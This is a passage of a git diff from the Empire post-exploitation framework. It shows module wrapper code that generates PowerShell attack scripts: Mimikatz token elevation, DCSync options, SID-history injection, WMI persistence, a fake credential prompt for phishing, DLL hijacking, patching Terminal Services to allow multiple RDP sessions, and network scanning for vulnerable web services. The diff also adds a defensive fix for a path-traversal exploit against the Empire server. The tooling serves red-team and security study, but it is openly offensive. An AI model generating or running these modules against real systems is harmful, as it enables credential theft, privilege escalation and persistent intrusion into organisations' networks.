Invoke-FindLocalAdminAccessThreaded Find-LocalAdminAccess +Set-Alias Get-NetDomainTrusts Get-NetDomainTrust +Set-Alias Get-NetForestTrusts Get-NetForestTrust +Set-Alias Invoke-MapDomainTrusts Invoke-MapDomainTrust +Set-Alias Invoke-FindUserTrustGroups Find-ForeignUser +Set-Alias Invoke-FindGroupTrustUsers Find-ForeignGroup +Set-Alias Invoke-EnumerateLocalTrustGroups Invoke-EnumerateLocalAdmin +Set-Alias Invoke-EnumerateLocalAdmins Invoke-EnumerateLocalAdmin +Set-Alias Invoke-EnumerateLocalAdminsThreaded Invoke-EnumerateLocalAdmin +Set-Alias Invoke-FindAllUserTrustGroups Find-ForeignUser +Set-Alias Find-UserTrustGroup Find-ForeignUser +Set-Alias Invoke-FindAllGroupTrustUsers Find-ForeignGroup diff --git a/lib/common/agents.py b/lib/common/agents.py index d9305b722..3020028b7 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -195,6 +195,13 @@ def save_file(self, sessionID, path, data, append=False): savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1]) filename = parts[-1] + # fix for 'skywalker' exploit by @zeroSteiner + safePath = os.path.abspath("%s/downloads/%s/" %(self.installPath, sessionID)) + if not os.path.abspath(savePath+"/"+filename).startswith(safePath): + dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" %(sessionID), sender="Agents") + dispatcher.send("[!] attempted overwrite of %s with data %s" %(path, data), sender="Agents") + return + # make the recursive directory structure if it doesn't already exist if not os.path.exists(savePath): os.makedirs(savePath) @@ -210,7 +217,7 @@ def save_file(self, sessionID, path, data, append=False): f.close() # notify everyone that the file was downloaded - dispatcher.send("[+] Part of file "+filename+" from "+str(sessionID)+" saved", sender="Agents") + dispatcher.send("[+] Part of file %s from %s saved" %(filename, sessionID), sender="Agents") def save_module_file(self, sessionID, path, data): @@ -227,6 +234,13 @@ def save_module_file(self, sessionID, path, data): savePath = self.installPath + "/downloads/"+str(sessionID)+"/" + "/".join(parts[0:-1]) filename = parts[-1] + # fix for 'skywalker' exploit by @zeroSteiner + safePath = os.path.abspath("%s/downloads/%s/" %(self.installPath, sessionID)) + if not os.path.abspath(savePath+"/"+filename).startswith(safePath): + dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" %(sessionID), sender="Agents") + dispatcher.send("[!] attempted overwrite of %s with data %s" %(path, data), sender="Agents") + return + # make the recursive directory structure if it doesn't already exist if not os.path.exists(savePath): os.makedirs(savePath) diff --git a/lib/common/empire.py b/lib/common/empire.py index 945184f3b..81046447a 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -9,7 +9,7 @@ """ # make version for Empire -VERSION = "1.2" +VERSION = "1.3.0" from pydispatch import dispatcher @@ -255,6 +255,9 @@ def handle_event(self, signal, sender): elif "[!] Agent" in signal and "exiting" in signal: print helpers.color(signal) + elif "WARNING" in signal or "attempted overwrite" in signal: + print helpers.color(signal) + elif "on the blacklist" in signal: print helpers.color(signal) diff --git a/lib/common/helpers.py b/lib/common/helpers.py index 441499a8a..63b6241d4 100644 --- a/lib/common/helpers.py +++ b/lib/common/helpers.py @@ -197,6 +197,119 @@ def strip_powershell_comments(data): return strippedCode +# PowerView dynamic helpers + +def get_powerview_psreflect_overhead(script): + """ + Helper to extract some of the psreflect overhead for PowerView. + """ + pattern = re.compile(r'\n\$Mod =.*\[\'wtsapi32\'\]', re.DOTALL) + + try: + return strip_powershell_comments(pattern.findall(script)[0]) + except: + print color("[!] Error extracting psreflect overhead from powerview.ps1 !") + return "" + + +def get_dependent_functions(code, functionNames): + """ + Helper that takes a chunk of PowerShell code and a set of function + names and returns the unique set of function names within the script block. + """ + + dependentFunctions = set() + for functionName in functionNames: + # find all function names that aren't followed by another alpha character + if re.search(functionName+"[^A-Za-z]+", code, re.IGNORECASE): + dependentFunctions.add(functionName) + + if re.search(functionName+"|\$Netapi32|\$Advapi32|\$Kernel32\$Wtsapi32", code, re.IGNORECASE): + dependentFunctions |= set(["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"]) + + return dependentFunctions + + +def find_all_dependent_functions(functions, functionsToProcess, resultFunctions=[]): + """ + Takes a dictionary of "[functionName] -> functionCode" and a set of functions + to process, and recursively returns all nested functions that may be required. + + Used to map the dependent functions for nested script dependencies like in + PowerView. + """ + + if isinstance(functionsToProcess, str): + functionsToProcess = [functionsToProcess] + + while len(functionsToProcess) != 0: + + # pop the next function to process off the stack + requiredFunction = functionsToProcess.pop() + + if requiredFunction not in resultFunctions: + resultFunctions.append(requiredFunction) + + # get the dependencies for the function we're currently processing + try: + functionDependencies = get_dependent_functions(functions[requiredFunction], functions.keys()) + except: + functionDependencies = [] + print color("[!] Error in retrieving dependencies for function %s !" %(requiredFunction)) + + for functionDependency in functionDependencies: + if functionDependency not in resultFunctions and functionDependency not in functionsToProcess: + # for each function dependency, if we haven't already seen it + # add it to the stack for processing + functionsToProcess.append(functionDependency) + resultFunctions.append(functionDependency) + + resultFunctions = find_all_dependent_functions(functions, functionsToProcess, resultFunctions) + + return resultFunctions + + +def generate_dynamic_powershell_script(script, functionName): + """ + Takes a PowerShell script and a function name, generates a dictionary + of "[functionName] -> functionCode", and recurisvely maps all + dependent functions for the specified function name. + + A script is returned with only the code necessary for the given + functionName, stripped of comments and whitespace. + + Note: for PowerView, it will also dynamically detect if psreflect + overhead is needed and add it to the result script. + """ + + newScript = "" + psreflect_functions = ["New-InMemoryModule", "func", "Add-Win32Type", "psenum", "struct"] + + # build a mapping of functionNames -> stripped function code + functions = {} + pattern = re.compile(r'\nfunction.*?{.*?\n}\n', re.DOTALL) + + for match in pattern.findall(script): + name = match[:40].split()[1] + functions[name] = strip_powershell_comments(match) + + # recursively enumerate all possible function dependencies and + # start building the new result script + functionDependencies = find_all_dependent_functions(functions, functionName) + + for functionDependency in functionDependencies: + try: + newScript += functions[functionDependency] + "\n" + except: + print color("[!] Key error with function %s !" %(functionDependency)) + + # if any psreflect methods are needed, add in the overhead at the end + if any(el in set(psreflect_functions) for el in functionDependencies): + newScript += get_powerview_psreflect_overhead(script) + + return newScript + "\n" + + ############################################################### # # Parsers @@ -232,7 +345,7 @@ def parse_credentials(data): return [("plaintext", domain, username, password, "", "")] else: - print helpers.color("[!] Error in parsing prompted credential output.") + print color("[!] Error in parsing prompted credential output.") return None else: @@ -566,4 +679,3 @@ def complete_path(text, line, arg=False): completions.append(f+'/') return completions - diff --git a/lib/modules/code_execution/invoke_reflectivepeinjection.py b/lib/modules/code_execution/invoke_reflectivepeinjection.py index 7e8780d0d..123bc1d7c 100644 --- a/lib/modules/code_execution/invoke_reflectivepeinjection.py +++ b/lib/modules/code_execution/invoke_reflectivepeinjection.py @@ -112,10 +112,5 @@ def generate(self): elif values['Value'] and values['Value'] != '': script += " -" + str(option) + " " + str(values['Value']) - # return script - - f = open("/tmp/t", 'w') - f.write(script) - f.close() - - return "" + + return script diff --git a/lib/modules/collection/filefinder.py b/lib/modules/collection/file_finder.py similarity index 72% rename from lib/modules/collection/filefinder.py rename to lib/modules/collection/file_finder.py index 0f7a543d9..0fe193a80 100644 --- a/lib/modules/collection/filefinder.py +++ b/lib/modules/collection/file_finder.py @@ -35,23 +35,18 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'Hosts' : { - 'Description' : "Host array to enumerate.", + 'ComputerName' : { + 'Description' : 'Hosts to enumerate.', 'Required' : False, 'Value' : '' }, - 'HostList' : { - 'Description' : "List of hostnames/IPs to search.", - 'Required' : False, - 'Value' : '' - }, - 'HostFilter' : { - 'Description' : "Host filter name to query AD for, wildcards accepted.", + 'ComputerFilter' : { + 'Description' : 'Host filter name to query AD for, wildcards accepted.', 'Required' : False, 'Value' : '' }, 'ShareList' : { - 'Description' : "List if \\HOST\shares to search through.", + 'Description' : "List of '\\\\HOST\shares' (on the target) to search through.", 'Required' : False, 'Value' : '' }, @@ -70,23 +65,28 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '' }, - 'ExcludeHidden' : { - 'Description' : "Switch. Exclude hidden files and folders from the search results.", + 'LastAccessTime' : { + 'Description' : "Only return files with a LastAccessTime greater than this date value.", 'Required' : False, 'Value' : '' }, - 'CheckWriteAccess' : { - 'Description' : "Switch. Only returns files the current user has write access to.", + 'CreationTime' : { + 'Description' : "Only return files with a CreationDate greater than this date value.", 'Required' : False, 'Value' : '' }, - 'AccessDateLimit' : { - 'Description' : "Only return files with a LastAccessTime greater than this date value.", + 'FreshEXES' : { + 'Description' : "Switch. Find .EXEs accessed in the last week.", 'Required' : False, 'Value' : '' }, - 'CreateDateLimit' : { - 'Description' : "Only return files with a CreationDate greater than this date value.", + 'ExcludeHidden' : { + 'Description' : "Switch. Exclude hidden files and folders from the search results.", + 'Required' : False, + 'Value' : '' + }, + 'CheckWriteAccess' : { + 'Description' : "Switch. Only returns files the current user has write access to.", 'Required' : False, 'Value' : '' }, @@ -104,6 +104,16 @@ def __init__(self, mainMenu, params=[]): 'Description' : "Domain to query for machines.", 'Required' : False, 'Value' : '' + }, + 'SearchSYSVOL' : { + 'Description' : "Switch. Search for login scripts on the SYSVOL of the primary DCs for each specified domain.", + 'Required' : False, + 'Value' : '' + }, + 'Threads' : { + 'Description' : "The maximum concurrent threads to execute.", + 'Required' : False, + 'Value' : '' } } @@ -120,8 +130,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-FileFinder.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -132,15 +144,20 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Invoke-FileFinder " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": if values['Value'] and values['Value'] != '': - script += " -" + str(option) + " " + str(values['Value']) - - script += " | Out-String" + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + return script diff --git a/lib/modules/collection/filesearch.py b/lib/modules/collection/find_interesting_file.py similarity index 82% rename from lib/modules/collection/filesearch.py rename to lib/modules/collection/find_interesting_file.py index 9f7cc2156..38f50338c 100644 --- a/lib/modules/collection/filesearch.py +++ b/lib/modules/collection/find_interesting_file.py @@ -5,12 +5,11 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Invoke-Filesearch', + 'Name': 'Find-InterestingFile', 'Author': ['@harmj0y'], - 'Description': ('Recurively searches a given file path for files with ' - 'specified terms in their names.'), + 'Description': ('Finds sensitive files on the domain.'), 'Background' : True, @@ -37,10 +36,10 @@ def __init__(self, mainMenu, params=[]): 'Value' : '' }, 'Path' : { - 'Description' : "Path to search, defaults to current dir.", - 'Required' : False, + 'Description' : 'UNC/local path to recursively search.', + 'Required' : True, 'Value' : '' - }, + }, 'Terms' : { 'Description' : "Comma-separated terms to search for (overrides defaults).", 'Required' : False, @@ -56,28 +55,28 @@ def __init__(self, mainMenu, params=[]): 'Required' : False, 'Value' : '' }, - 'ExcludeHidden' : { - 'Description' : "Switch. Exclude hidden files and folders from the search results.", + 'LastAccessTime' : { + 'Description' : "Only return files with a LastAccessTime greater than this date value.", 'Required' : False, 'Value' : '' }, - 'CheckWriteAccess' : { - 'Description' : "Switch. Only returns files the current user has write access to.", + 'CreationTime' : { + 'Description' : "Only return files with a CreationDate greater than this date value.", 'Required' : False, 'Value' : '' }, - 'AccessDateLimit' : { - 'Description' : "Only return files with a LastAccessTime greater than this date value.", + 'FreshEXES' : { + 'Description' : "Switch. Find .EXEs accessed in the last week.", 'Required' : False, 'Value' : '' }, - 'CreateDateLimit' : { - 'Description' : "Only return files with a CreationDate greater than this date value.", + 'ExcludeHidden' : { + 'Description' : "Switch. Exclude hidden files and folders from the search results.", 'Required' : False, 'Value' : '' }, - 'FreshEXES' : { - 'Description' : "Switch. Find .EXEs accessed within the last week.", + 'CheckWriteAccess' : { + 'Description' : "Switch. Only returns files the current user has write access to.", 'Required' : False, 'Value' : '' } @@ -86,7 +85,7 @@ def __init__(self, mainMenu, params=[]): # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu - + for param in params: # parameter format is [Name, Value] option, value = param @@ -96,8 +95,10 @@ def __init__(self, mainMenu, params=[]): def generate(self): - # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-Filesearch.ps1" + moduleName = self.info["Name"] + + # read in the common powerview.ps1 module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/powerview.ps1" try: f = open(moduleSource, 'r') @@ -108,9 +109,10 @@ def generate(self): moduleCode = f.read() f.close() - script = moduleCode + # get just the code needed for the specified function + script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName) - script += "Invoke-Filesearch " + script += moduleName + " " for option,values in self.options.iteritems(): if option.lower() != "agent": @@ -119,8 +121,8 @@ def generate(self): # if we're just adding a switch script += " -" + str(option) else: - script += " -" + str(option) + " " + str(values['Value']) - - script += " | Out-String" + script += " -" + str(option) + " " + str(values['Value']) + script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"' + return script diff --git a/lib/modules/collection/prompt.py b/lib/modules/collection/prompt.py index 3988abe33..684d54ef6 100644 --- a/lib/modules/collection/prompt.py +++ b/lib/modules/collection/prompt.py @@ -7,7 +7,7 @@ def __init__(self, mainMenu, params=[]): self.info = { 'Name': 'Invoke-Prompt', - 'Author': ['greg.fossk', '@harmj0y'], + 'Author': ['greg.fossk', '@harmj0y', '@enigma0x3'], 'Description': ("Prompts the current user to enter their credentials " "in a forms box and returns the results."), @@ -24,6 +24,7 @@ def __init__(self, mainMenu, params=[]): 'Comments': [ 'http://blog.logrhythm.com/security/do-you-trust-your-computer/' + 'https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/' ] } @@ -68,7 +69,9 @@ def generate(self): script = """ # Adapted from http://blog.logrhythm.com/security/do-you-trust-your-computer/ +# https://enigma0x3.wordpress.com/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/ # POC from greg.foss[at]owasp.org +# @enigma0x3 function Invoke-Prompt { [CmdletBinding()] @@ -115,4 +118,4 @@ def generate(self): else: script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\"" - return script \ No newline at end of file + return script diff --git a/lib/modules/credentials/mimikatz/dcsync.py b/lib/modules/credentials/mimikatz/dcsync.py index 74ff76fb0..2acb27896 100644 --- a/lib/modules/credentials/mimikatz/dcsync.py +++ b/lib/modules/credentials/mimikatz/dcsync.py @@ -49,6 +49,11 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Specified (fqdn) domain to pull for the primary domain/DC.', 'Required' : False, 'Value' : '' + }, + 'dc' : { + 'Description' : 'Specified (fqdn) domain controller to pull replication data from.', + 'Required' : False, + 'Value' : '' } } diff --git a/lib/modules/credentials/mimikatz/mimitokens.py b/lib/modules/credentials/mimikatz/mimitokens.py new file mode 100644 index 000000000..1758320d0 --- /dev/null +++ b/lib/modules/credentials/mimikatz/mimitokens.py @@ -0,0 +1,137 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-Mimikatz Tokens', + + 'Author': ['@JosephBialek', '@gentilkiwi'], + + 'Description': ("Runs PowerSploit's Invoke-Mimikatz function " + "to list or enumerate tokens."), + + 'Background' : False, + + 'OutputExtension' : None, + + 'NeedsAdmin' : True, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'http://clymb3r.wordpress.com/', + 'http://blog.gentilkiwi.com' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'list' : { + 'Description' : 'Switch. List current tokens on the machine.', + 'Required' : False, + 'Value' : 'True' + }, + 'elevate' : { + 'Description' : 'Switch. Elevate instead of listing tokens.', + 'Required' : False, + 'Value' : '' + }, + 'revert' : { + 'Description' : 'Switch. Revert process token.', + 'Required' : False, + 'Value' : '' + }, + 'admin' : { + 'Description' : 'Switch. List/elevate local admin tokens.', + 'Required' : False, + 'Value' : '' + }, + 'domainadmin' : { + 'Description' : 'Switch. List/elevate domain admin tokens.', + 'Required' : False, + 'Value' : '' + }, + 'user' : { + 'Description' : 'User name to list/elevate the token of.', + 'Required' : False, + 'Value' : '' + }, + 'id' : { + 'Description' : 'Token ID to list/elevate the token of.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + listTokens = self.options['list']['Value'] + elevate = self.options['elevate']['Value'] + revert = self.options['revert']['Value'] + admin = self.options['admin']['Value'] + domainadmin = self.options['domainadmin']['Value'] + user = self.options['user']['Value'] + processid = self.options['id']['Value'] + + script = moduleCode + + script += "Invoke-Mimikatz -Command " + + if revert.lower() == "true": + script += "'\"token::revert" + else: + if listTokens.lower() == "true": + script += "'\"token::list" + elif elevate.lower() == "true": + script += "'\"token::elevate" + else: + print helpers.color("[!] list, elevate, or revert must be specified!") + return "" + + if domainadmin.lower() == "true": + script += " /domainadmin" + elif admin.lower() == "true": + script += " /admin" + elif user.lower() != "": + script += " /user:" + str(user) + elif processid.lower() != "": + script += " /id:" + str(processid) + + script += "\"';" + # print script[-200:] + # return "" + return script diff --git a/lib/modules/situational_awareness/network/mapdomaintrusts.py b/lib/modules/management/enable_multi_rdp.py similarity index 58% rename from lib/modules/situational_awareness/network/mapdomaintrusts.py rename to lib/modules/management/enable_multi_rdp.py index ff97a2826..f4c983e3c 100644 --- a/lib/modules/situational_awareness/network/mapdomaintrusts.py +++ b/lib/modules/management/enable_multi_rdp.py @@ -5,24 +5,27 @@ class Module: def __init__(self, mainMenu, params=[]): self.info = { - 'Name': 'Invoke-MapDomainTrusts', + 'Name': 'Invoke-Mimikatz Multirdp', - 'Author': ['@harmj0y'], + 'Author': ['@gentilkiwi', '@JosephBialek'], - 'Description': ('Maps all reachable domain trusts with .CSV output. Part of PowerView.'), + 'Description': ("[!] WARNING: Experimental! Runs PowerSploit's Invoke-Mimikatz " + "function to patch the Windows terminal service to allow " + "multiple users to establish simultaneous RDP connections."), 'Background' : True, 'OutputExtension' : None, - 'NeedsAdmin' : False, + 'NeedsAdmin' : True, + + 'OpsecSafe' : False, - 'OpsecSafe' : True, - 'MinPSVersion' : '2', 'Comments': [ - 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' + 'http://blog.gentilkiwi.com', + 'http://clymb3r.wordpress.com/' ] } @@ -34,18 +37,13 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Agent to run module on.', 'Required' : True, 'Value' : '' - }, - 'LDAP' : { - 'Description' : 'Switch. Use LDAP for domain queries (less accurate).', - 'Required' : False, - 'Value' : '' } } # save off a copy of the mainMenu object to access external functionality # like listeners/agent handlers/etc. self.mainMenu = mainMenu - + for param in params: # parameter format is [Name, Value] option, value = param @@ -56,7 +54,7 @@ def __init__(self, mainMenu, params=[]): def generate(self): # read in the common module source code - moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-MapDomainTrusts.ps1" + moduleSource = self.mainMenu.installPath + "/data/module_source/credentials/Invoke-Mimikatz.ps1" try: f = open(moduleSource, 'r') @@ -69,11 +67,6 @@ def generate(self): script = moduleCode - if self.options['LDAP']['Value'].lower() == "true": - script += "Invoke-MapDomainTrustsLDAP | ConvertTo-Csv -NoTypeInformation" - script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-MapDomainTrustsLDAP completed"' - else: - script += "Invoke-MapDomainTrusts | ConvertTo-Csv -NoTypeInformation" - script += '| Out-String | %{$_ + \"`n\"};"`nInvoke-MapDomainTrusts completed"' + script += "Invoke-Mimikatz -Command '\"ts::multirdp\"';" return script diff --git a/lib/modules/persistence/elevated/wmi.py b/lib/modules/persistence/elevated/wmi.py index b41e95c62..086b9e39c 100644 --- a/lib/modules/persistence/elevated/wmi.py +++ b/lib/modules/persistence/elevated/wmi.py @@ -178,17 +178,17 @@ def generate(self): minutes = parts[1] # create the WMI event filter for a system time - script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};" statusMsg += " WMI subscription daily trigger at " + dailyTime + "." else: # create the WMI event filter for OnStartup - script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" + script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='"+subName+"';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};" statusMsg += " with OnStartup WMI subsubscription trigger." # add in the event consumer to launch the encrypted script contents - script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};" + script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='"+subName+"';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};" # bind the filter and event consumer together script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;" diff --git a/lib/modules/persistence/misc/add_sid_history.py b/lib/modules/persistence/misc/add_sid_history.py index b3548707e..0e42855ee 100644 --- a/lib/modules/persistence/misc/add_sid_history.py +++ b/lib/modules/persistence/misc/add_sid_history.py @@ -44,7 +44,7 @@ def __init__(self, mainMenu, params=[]): 'Value' : '' }, 'Groups' : { - 'Description' : 'Groups/users to add to the sidhistory of the target user (space-separated).', + 'Description' : 'Groups/users to add to the sidhistory of the target user (COMMA-separated).', 'Required' : True, 'Value' : '' } @@ -77,8 +77,11 @@ def generate(self): script = moduleCode + # ridiculous escape format + groups = " ".join(['"\\""'+group.strip().strip("'\"")+'"""' for group in self.options["Groups"]['Value'].split(",")]) + # build the custom command with whatever options we want - command = "misc::addsid "+self.options["User"]['Value'] + " " + self.options["Groups"]['Value'] + command = '""misc::addsid '+self.options["User"]['Value'] + ' ' + groups # base64 encode the command to pass to Invoke-Mimikatz script += "Invoke-Mimikatz -Command '\"" + command + "\"';" diff --git a/lib/modules/privesc/powerup/write_dllhijacker.py b/lib/modules/privesc/powerup/write_dllhijacker.py index 172d42505..4307a1f5c 100644 --- a/lib/modules/privesc/powerup/write_dllhijacker.py +++ b/lib/modules/privesc/powerup/write_dllhijacker.py @@ -122,6 +122,6 @@ def generate(self): print helpers.color("[!] Error in launcher .bat generation.") return "" else: - script += "Write-HijackDll -HijackPath '"+hijackPath+"';" - + # script += "Write-HijackDll -HijackPath '"+hijackPath+"';" + script += "Write-HijackDll -OutputFile '"+str(hijackPath)+"' -BatPath '"+str(batPath)+"';" return script diff --git a/lib/modules/recon/find_fruit.py b/lib/modules/recon/find_fruit.py new file mode 100644 index 000000000..4028362c0 --- /dev/null +++ b/lib/modules/recon/find_fruit.py @@ -0,0 +1,116 @@ +import base64 +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Find-Fruit', + + 'Author': ['@424f424f'], + + 'Description': ("Searches a network range for potentially vulnerable web services."), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'Inspired by mattifestation Get-HttpStatus in PowerSploit' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Rhosts' : { + 'Description' : 'Specify the CIDR range or host to scan.', + 'Required' : True, + 'Value' : '' + }, + 'Port' : { + 'Description' : 'Specify the port to scan.', + 'Required' : False, + 'Value' : '' + }, + 'Path' : { + 'Description' : 'Specify the path to a dictionary file.', + 'Required' : False, + 'Value' : '' + }, + 'Timeout' : { + 'Description' : 'Set timeout for each connection in milliseconds', + 'Required' : False, + 'Value' : '50' + }, + 'UseSSL' : { + 'Description' : 'Force SSL useage.', + 'Required' : False, + 'Value' : '' + }, + 'ShowAll' : { + 'Description' : 'Switch. Show all results (default is to only show 200s).', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/recon/Find-Fruit.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + script += "\nFind-Fruit" + + showAll = self.options['ShowAll']['Value'].lower() + + for option,values in self.options.iteritems(): + if option.lower() != "agent" and option.lower() != "showall": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + script += " -" + str(option) + " " + str(values['Value']) + + if showAll != "true": + script += " | ?{$_.Status -eq 'OK'}" + + script += " | Format-Table -AutoSize | Out-String" + + return script \ No newline at end of file diff --git a/lib/modules/situational_awareness/host/winenum.py b/lib/modules/situational_awareness/host/winenum.py index a181631de..b3be617a0 100644 --- a/lib/modules/situational_awareness/host/winenum.py +++ b/lib/modules/situational_awareness/host/winenum.py @@ -22,7 +22,7 @@ def __init__(self, mainMenu, params=[]): 'MinPSVersion' : '2', 'Comments': [ - 'https://github.com/xorrior/RandomPS-Scripts/blob/master/Invoke-WinEnum.ps1' + 'https://github.com/xorrior/RandomPS-Scripts/blob/master/Invoke-WindowsEnum.ps1' ] } @@ -35,25 +35,15 @@ def __init__(self, mainMenu, params=[]): 'Required' : True, 'Value' : '' }, - 'Keyword' : { - 'Description' : 'Specify a keyword to use in file searches.', + 'Keywords' : { + 'Description' : 'Array of keywords to use in file searches.', 'Required' : False, 'Value' : '' }, - 'UserInfo' : { - 'Description' : 'Switch. Enumerate user information.', + 'UserName' : { + 'Description' : 'UserName to enumerate. Defaults to the current user context.', 'Required' : False, - 'Value' : 'True' - }, - 'SysInfo' : { - 'Description' : 'Switch. Enumerate system information of the current host.', - 'Required' : False, - 'Value' : 'True' - }, - 'NetInfo' : { - 'Description' : 'Switch. Enumerate the current network.', - 'Required' : False, - 'Value' : 'True' + 'Value' : '' } } diff --git a/lib/modules/situational_awareness/network/get_domaintrusts.py b/lib/modules/situational_awareness/network/get_domaintrusts.py deleted file mode 100644 index 2c9ba36a2..000000000 --- a/lib/modules/situational_awareness/network/get_domaintrusts.py +++ /dev/null @@ -1,83 +0,0 @@ -from lib.common import helpers - -class Module: - - def __init__(self, mainMenu, params=[]): - - self.info = { - 'Name': 'Get-NetDomainTrusts', - - 'Author': ['@harmj0y'], - - 'Description': ('Return all domain trusts for the current domain or ' - 'a specified domain. Part of PowerView.'), - - 'Background' : True, - - 'OutputExtension' : None, - - 'NeedsAdmin' : False, - - 'OpsecSafe' : True, - - 'MinPSVersion' : '2', - - 'Comments': [ - 'https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView' - ] - } - - # any options needed by the module, settable during runtime - self.options = { - # format: - # value_name : {description, required, default_value} - 'Agent' : { - 'Description' : 'Agent to run module on.', - 'Required' : True, - 'Value' : '' - }, - 'Domain' : { - 'Description' : 'Specific domain to query for trusts, defaults to current.', - 'Required' : False, - 'Value' : '' - }, - 'LDAP' : { - 'Description' : 'Switch. Use LDAP for domain queries (less accurate).', - 'Required' : False, - 'Value' : '' - } - } - - # save off a copy of the mainMenu object to access external functionality - # like listeners/agent handlers/etc. - 